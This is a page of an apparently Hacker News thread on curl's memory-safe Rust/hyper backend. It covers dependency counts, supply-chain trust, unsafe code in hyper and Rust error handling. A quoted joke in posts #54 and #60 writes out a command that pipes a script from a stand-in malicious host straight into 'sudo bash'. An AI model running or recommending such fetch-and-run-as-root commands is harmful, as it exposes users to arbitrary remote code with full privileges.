Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Memory safe ‘curl’ for a more secure internet

daniel.haxx.se

Post reply on HN
Print view View original

51–60 of 210 posts

Re: Memory safe ‘curl’ for a more secure internet

#51

Post by seg_lol »

est31 wrote: post #42
timdorr wrote: post #41

Earlier quoted context omitted.

I count 14: https://github.com/hyperium/hyper/blob/master/Cargo.toml#L22... bytes, futures-core, futures-channel, futures-util, http, http-body, httpdate, httparse, h2, itoa, tracingfeatures, pin-project, tower-service, tokio, want

Those are the direct dependencies. They have dependencies of their own. What counts is the entire DAG traversal including all transitive dependencies.

I count 67 --> 42 (after removing the dev only deps)

https://gist.github.com/seg-lol/0d22cf5002f890305cfd094f9ed1...

*edit, passed in -e no-dev to `cargo tree`, thanks @est31 for the suggestion

Re: Memory safe ‘curl’ for a more secure internet

#52

Post by nicoburns »

count wrote: post #49
kingkilr wrote: post #39

Earlier quoted context omitted.

While I don't love the proliferation of dependencies, from a risk perspective the raw number of dependencies isn't always the right metric. Looking at the authors and publishers numbers from https://github.com/rust-secure-code/cargo-supply-chain it's clear a lot of these are maintained by the same set of trusted folks.

This is true today, will it remain true?

Well yes if they're published as part of the same project as lots of these are. In C/C++ you wouldn't do this because consuming a library is a pain so you want to minimise the number of dependencies. In Rust, what would be 1 library in C often gets broken up into a few that are published together in order to allow people to depend on only the functionality they need.

Re: Memory safe ‘curl’ for a more secure internet

#53

Post by nicoburns »

est31 wrote: post #47
nine_k wrote: post #37

Earlier quoted context omitted.

All these packages provide important pieces of functionality, which, I suppose, mostly cannot be omitted. Either you depend on other's work for that, or you roll your own. Choose your poison.

A quick survey gave me: * tracing is only present for logging purposes. does curl need it? It should be configurable. * itoa is only present for performance purposes, and only seems used by the server. * It seems that a bunch of projects in the dependency tree use pin-project which is heavyweight and instead could use pin-project-lite. Some already do, which creates both being used, so you are worse off than just wit…

The latter is scheduled for the next release https://github.com/hyperium/hyper/issues/2223

Re: Memory safe ‘curl’ for a more secure internet

#54

Post by bagder »

tialaramex wrote: post #33
cbm-vic-20 wrote: post #17

Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

Historically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a flopp…

"For some years" sure, but that's ancient history.

curl has verified the server certificates by default since version 7.10, shipped in October 2002.

Re: Memory safe ‘curl’ for a more secure internet

#55

Post by quotemstr »

bluejekyll wrote: post #31
sohkamyung wrote: post #13

Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

This quote is interesting: “ I’m a bit vague on the details here because it’s not my expertise, but Rust itself can’t even properly clean up its memory and just returns error when it hits such a condition. Clearly something to fix before a libcurl with hyper could claim identical behavior and never to leak memory”. So Rust aborts on invalid memory accesses, unwrap on None, etc. It does not abort on memory leaks. I do…

I'm still annoyed that the Rust people screwed up error handling so badly. The designers should have gone with classical exceptions like other languages, but instead went for a fashionable-at-the-time combination of error codes and added exceptions (spelled "panics"), cribbed for some reason from Go. And on top of that, the Rust designers copied one of the most annoying parts of the C++ ecosystem: a compiler switch for changing exception behavior.

The overall result is that everyone pays the cognitive cost of exception (spelled "unwind" in Rust) safety, pays the syntactic and runtime costs of error code checking, pays the runtime cost of unwind tables, and still can't actually rely on unwinding to actually work, because anyone can just turn panics into aborts.

I hope for a language with Rust's focus on memory safety but without Rust's weird fashionable-in-the-2010s language design warts.

Re: Memory safe ‘curl’ for a more secure internet

#56

Post by benecollyridam »

> Hyper is a fast and safe HTTP implementation Well.. Hyper does rely on unsafe blocks (14 at first glance[2]), so I don't know if we can just assume that it's safe. When Sergey Davidoff did their big smoke test of popular Rust HTTP implementations they found a couple of bugs[1] (through Reqwest).

I love the idea of a safer cURL, but I don't think you should take this as a magical answer to all of cURL's problems.

[1]https://web.archive.org/web/20200506212152/https://medium.co... [2] I ran `grep -oR unsafe . | wc -l` after cloning the repo

Re: Memory safe ‘curl’ for a more secure internet

#57

Post by est31 »

seg_lol wrote: post #51
est31 wrote: post #42

Earlier quoted context omitted.

Those are the direct dependencies. They have dependencies of their own. What counts is the entire DAG traversal including all transitive dependencies.

I count 67 --> 42 (after removing the dev only deps) https://gist.github.com/seg-lol/0d22cf5002f890305cfd094f9ed1... *edit, passed in -e no-dev to `cargo tree`, thanks @est31 for the suggestion

The number is smaller than that. You need to pass -e no-dev to cargo tree to filter out the dev-dependencies (which are only relevant for hyper development).

Re: Memory safe ‘curl’ for a more secure internet

#58

Post by steveklabnik »

quotemstr wrote: post #55
bluejekyll wrote: post #31

Earlier quoted context omitted.

This quote is interesting: “ I’m a bit vague on the details here because it’s not my expertise, but Rust itself can’t even properly clean up its memory and just returns error when it hits such a condition. Clearly something to fix before a libcurl with hyper could claim identical behavior and never to leak memory”. So Rust aborts on invalid memory accesses, unwrap on None, etc. It does not abort on memory leaks. I do…

I'm still annoyed that the Rust people screwed up error handling so badly. The designers should have gone with classical exceptions like other languages, but instead went for a fashionable-at-the-time combination of error codes and added exceptions (spelled "panics"), cribbed for some reason from Go. And on top of that, the Rust designers copied one of the most annoying parts of the C++ ecosystem: a compiler switch f…

> The overall result is that everyone pays the cognitive cost of exception (spelled "unwind" in Rust) safety

Very, very few people have to think about unwind safety, because it really only comes into play when you're writing unsafe code, and relying on the ability for panics to be caught. Many folks aren't writing any unsafe, and many who are are doing it explicitly in a panic=abort environment. And most don't rely on panics being able to be caught in the first place.

So, some subset of library authors have to pay attention to unwind safety in some cases. This is hardly "everyone."

> pays the syntactic

It's one character.

> and runtime costs of error code checking,

Exceptions also have runtime costs. I'm not aware of anything demonstrating that there is a really major difference between the two in real systems. I would be interested in reading more about this! Most of the discussion I've seen focuses on microbenchmarks, which can be very different than real code.

> pays the runtime cost of unwind tables,

Only if you want them, as you yourself mention, you can turn this off. And many do.

Re: Memory safe ‘curl’ for a more secure internet

#59

Post by steveklabnik »

benecollyridam wrote: post #56

> Hyper is a fast and safe HTTP implementation Well.. Hyper does rely on unsafe blocks (14 at first glance[2]), so I don't know if we can just assume that it's safe. When Sergey Davidoff did their big smoke test of popular Rust HTTP implementations they found a couple of bugs[1] (through Reqwest). I love the idea of a safer cURL, but I don't think you should take this as a magical answer to all of cURL's problems. [1…

> I don't think you should take this as a magical answer to all of cURL's problems.

Is anyone actually suggesting this?

Re: Memory safe ‘curl’ for a more secure internet

#60

Post by [deleted] »

afwe wrote: post #36
tialaramex wrote: post #33

Earlier quoted context omitted.

Historically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a flopp…

The website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.

[deleted]
Post reply on HN